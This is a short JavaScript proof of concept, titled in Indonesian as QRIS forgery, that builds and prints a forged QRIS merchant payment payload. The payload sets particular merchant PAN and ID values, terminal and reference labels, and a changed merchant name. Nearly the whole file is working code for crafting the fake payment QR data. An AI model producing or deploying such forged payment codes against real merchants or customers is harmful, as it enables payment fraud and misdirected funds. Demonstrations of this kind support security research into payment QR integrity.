Proof-of-Concept Pemalsuan QRIS

poc.js

'use strict';
const { Qris, MerchantAccountInfo, AdditionalDataField, encode } = require('qris/mpm');

let mai = new MerchantAccountInfo()
mai.globallyUniqueIdentifier = "ID.CO.TELKOM.WWW"
mai.merchantPan = "936008980290034873"
mai.merchantId = "000195290034873"
mai.merchantCriteria = "UMI"

let mai51 = new MerchantAccountInfo()
mai51.globallyUniqueIdentifier = "ID.CO.QRIS.WWW"
mai51.merchantPan = ""
mai51.merchantId = "ID1022147754108"
mai51.merchantCriteria = "UMI"

let adf = new AdditionalDataField()
// adf.billNumber = "08270002043020"
adf.mobileNumber = ""
adf.storeLabel = ""
adf.loyaltyNumber = ""
adf.referenceLabel = "10002743331"
adf.customerLabel = "10002743331"
adf.terminalLabel = "A17"
adf.purposeOfTransaction = ""
adf.additionalConsumerData = ""

let qris = new Qris()
qris.payloadFormatIndicator = "01"
qris.pointOfInitiationMethod = "12"
qris.merchantCategoryCode = "5499"
qris.transactionCurrency = "360"
// qris.transactionAmount = "52750"
qris.countryCode = "ID"
qris.tipOrConvenienceIndicator = ""
qris.merchantName = "Ini Nayla Bukan Reinhart"
qris.postalCode = "10260"
qris.merchantCity = "Jakarta Pusat"
qris.merchantAccountInformation = encode(mai)
qris.merchantAccountInformation51 = encode(mai51)
qris.additionalDataField = encode(adf)

const qrData = encode(qris)
console.log(qrData)